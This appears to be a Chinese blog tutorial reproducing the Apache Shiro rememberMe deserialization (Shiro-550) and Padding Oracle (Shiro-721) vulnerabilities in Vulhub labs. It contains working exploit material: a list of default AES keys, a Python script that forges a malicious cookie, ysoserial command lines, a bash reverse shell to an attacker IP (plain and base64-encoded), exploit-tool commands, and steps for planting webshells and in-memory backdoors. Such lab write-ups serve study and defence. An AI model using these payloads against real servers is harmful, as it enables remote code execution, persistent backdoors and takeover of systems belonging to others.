[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)

文章目录

  • Shiro rememberMe反序列化漏洞(Shiro-550)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 靶场环境
    • 0x03 漏洞分析
    • 0x04 漏洞特征
    • 0x05 漏洞复现
    • 0x06 反弹shell
    • 0x07 写入webshell
  • Shiro Padding Oracle Attack(Shiro-721)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 靶场环境
    • 0x03 漏洞分析
    • 0x04 漏洞复现

Shiro rememberMe反序列化漏洞(Shiro-550)

0x00 漏洞描述

Apache Shiro是一款开源强大且易用的Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。


0x01 影响版本

Apache Shiro <= 1.2.4

漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

一些可替换的密钥:

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==

0x02 靶场环境

Apache Shiro 1.2.4:https://vulhub.org/#/environments/shiro/CVE-2016-4437/


0x03 漏洞分析

Apache Shiro如何记住我

  1. 序列化用户身份对象.(这里为SimplePrincipalCollection)
  2. 对序列化后的数据进行AES加密,密钥为常量.
  3. base64编码
  4. 设置到cookie中,cookie name等于rememberMe.

Apache Shiro如何解析我

  1. 读取cookie中的rememberMe的值.
  2. 对其值进行base64解码.
  3. AES解密
  4. 反序列化

如何攻击
通过以上,我们可以看出,只要手动构造一个反序列化 payload,进行AES加密(密钥我们知道的)和base64编码,即可在反序列化时执行任何操作.

整体流程就是:命令 => 序列化 =>AES加密 => base64编码 => RememberMe Cookie值 => base64解密 => AES解密 => 反序列化 => 执行命令

源码分析详解:https://zhuanlan.zhihu.com/p/145246953


0x04 漏洞特征

第一种情况
返回包中含有rememberMe=deleteMe这个字段:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第1张图片
第二种情况
直接发送原数据包,返回的数据中不存在关键字
可以通过在发送数据包的cookie中增加字段:rememberMe=deleteMe
然后查看返回数据包中是否存在关键字。


0x05 漏洞复现

首先下载ysoserial的包:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
payload生成代码(python3):

import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme()    
    print("rememberMe={0}".format(payload.decode()))

启动靶场环境,访问http://your-ip:8080可以看到有一个remember me的选项,选中
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第2张图片
从返回包中发现有remember=deleteMe的字样,可以大致确定配置有shiro(因为shiro本身功能就是一个身份验证管理,所一般在登录口可以看到)。
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第3张图片
使用ysoserial生成CommonsBeanutils1的Gadget:java -jar ysoserial-master.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第4张图片
再生成payload:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第5张图片
将payload替换到Cookie:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第6张图片
文件成功创建:
在这里插入图片描述


0x06 反弹shell

在目标机上执行如下命令即可获得反弹shell:

bash -i >& /dev/tcp/192.168.1.117/7777 0>&1

但在这里指令需要加密(因为重定向和管道字符的使用方式在启动过程中的上下文没有意义):http://www.jackson-t.ca/runtime-exec-payloads.html

流程与之前一样:

java -jar ysoserial-master.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTE3Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第7张图片
然后伪造 cookie 的内容:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第8张图片
发送之后在攻击机得到反弹shell:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第9张图片
这里推荐另一个工具,使用github上的工具测试,用dnslog查看响应判断漏洞是否存在,工具链接:https://github.com/insightglacier/Shiro_exploit
命令如下:

python shiro_exploit.py -u 地址 -t 3 -p "命令" -k "kPH+bIxk5D2deZiIxcaaaA=="

在这里插入图片描述


0x07 写入webshell

一件自动化利用工具:https://github.com/feihong-cs/ShiroExploit

Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第10张图片
写入webshell:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第11张图片
经测试这种攻击方式 webshell 管理工具无法连接,需要注入内存马。

补充内存马:
内存马,也被称为无文件马,是无文件攻击的一种常用手段。

Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。而内存攻击者正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的指令代码,造成目标系统被获取远程控制,让内存马的攻击得以实现。

内存马检测:源码检测和日志排查。

参考链接:https://blog.csdn.net/MachineGunJoe/article/details/118088350

换个工具:https://github.com/j1anFen/shiro_attack

注入内存马:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第12张图片
成功连接:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第13张图片


Shiro Padding Oracle Attack(Shiro-721)

0x00 漏洞描述

在用户进行登录的时候,Apache Shiro 提供 RemenberMe 功能,可以存储 cookie,期间使用的是AES-128-CBC进行加密,可以通过Padding Oracle加密生成的攻击代码来重新构造一个恶意的 rememberMe 字段,重新请求网站,进行反序列化攻击,最终导致任意代码的执行,攻击者无需知道 rememberMe 的加密密钥

Padding Oracle
Padding的含义是“填充”,在解密时,如果算法发现解密后得到的结果,它的填充方式不符合规则,那么表示输入数据有问题,对于解密的类库来说,往往便会抛出一个异常,提示Padding不正确。Oracle在这里便是“提示”的意思。

加/解密时的填充(Padding),明文信息可以是任意长度,但是块状加密算法需要所有的信息都由一定数量的数据块组成。为了满足这样的需求,便需要对明文进行填充,这样便可以将它分割为完整的数据块。

CBC
这是一种分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密。这样可以强化加密算法的"敏感性",即实现所谓的"雪崩效应",在香浓理论中这就是"扰乱原则"。

Padding Oracle Attack(填充提示攻击)
如果输入的密文不合法,类库则会抛出异常,这便是一种提示。攻击者可以不断地提供密文,让解密程序给出提示,不断修正,最终得到的所需要的结果。只根据我们输入的初始向量值和服务器的状态去判断出解密后明文的值,padding oracle attack 就是通过验证解密时产生的明文是否符合 padding 的原则,来判断解密是否成功的。这里的攻击即叫做 Padding Oracle Attack 攻击。

利用 Padding Oracle 能够在不知道密钥的情况下,解密任意密文,或者构造出任意明文的合法密文。

需要注意的是,padding oracle 针对的是CBC模式,而不是某一个加密算法,所以任何分组加密算法,只要使用了CBC模式,都会受到影响。此类加密算法包括AES、DES、3-DES 等等

该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解。

该漏洞存在条件如下:

  1. 攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量)
  2. 攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性

详情参考:
https://blog.csdn.net/yalecaltech/article/details/90575122
https://www.jianshu.com/p/833582b2f560
https://www.isolves.com/it/aq/hk/2020-07-11/23520.html


0x01 影响版本

Apache Shiro < 1.4.2


0x02 靶场环境

Apache Shiro 1.4.1 + tomcat:8-jre8:https://github.com/3ndz/Shiro-721.git

进入docker目录,键入以下命令搭建环境:

sudo docker build -t shiro-721 .
sudo docker run -p 8080:8080 -d shiro-721

0x03 漏洞分析

rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精制作rememberMe来进反序列化攻击,就像Shiro-550漏洞一样。

Shiro-721 处理 Cookie 的流程是:获取 rememberMe的 的值 => Base64 解码 => AES-128-CBC 解密 => 反序列化


0x04 漏洞复现

访问127.0.0.1:8080,可以看到有一个remember me的选项,选中:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第14张图片

安装Maven环境:
远程下载Maven包:wget https://downloads.apache.org/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第15张图片
解压到/usr/local目录下:tar zxvf apache-maven-3.6.3-bin.tar.gz -C /usr/local
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第16张图片
修改配置文件:vi /etc/profile
在profile文件中设置环境变量:export MAVEN_HOME=/usr/local/apache-maven-3.6.3 export PATH=$MAVEN_HOME/bin:$PATH
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第17张图片
/etc/profile文件修改后立即生效:source /etc/profile,在控制台输入命令mvn -v,如果能看到 Maven 相关版本信息,则说明 Maven 已经安装成功:
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第18张图片
添加阿里镜像库地址:
打开配置文件:vim /usr/local/apache-maven-3.6.3/conf/setting.xml
打开后,找到mirrors节点,添加以下内容:


      alimaven
      aliyun maven
      http://maven.aliyun.com/nexus/content/groups/public/
      central        

下载Shiro-721 Padding Oracle Attack并打包:https://github.com/longofo/PaddingOracleAttack-Shiro-721
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第19张图片
利用DNSlog探测,通过ysoserial工具payload生成payload:java -jar ysoserial.jar CommonsBeanutils1 "ping dkihuf.dnslog.cn" > payload.class

使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击:java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第20张图片
暴破时间很长,可能需要一个小时,爆破成功后替换cookie中rememberMe字段即可执行命令。

或使用ShiroExploit Shiro-721,需输入url,并提供一个有效的rememberMe Cookie。
[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_第21张图片


参考链接:
https://zhuanlan.zhihu.com/p/145246953(Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)源码解析)
https://www.jianshu.com/p/a53e5b17d7a6(Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437))
https://www.cnblogs.com/panisme/p/12552838.html(Apache Shiro 1.2.4反序列化漏洞反弹shell)
https://www.cnblogs.com/B0ren/p/14324128.html(Shiro反序列化的检测与利用)
https://blog.csdn.net/MachineGunJoe/article/details/118088350(学习了解内存马,看这篇就够了!(精华版))
https://blog.csdn.net/yalecaltech/article/details/90575122(Padding Oracle Attack–代码实现及深入理解)
https://www.jianshu.com/p/833582b2f560(Padding Oracle Attack(填充提示攻击)详解及验证)
https://www.cnblogs.com/xiaozi/p/13239046.html(Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721))

你可能感兴趣的:(java,java,后端)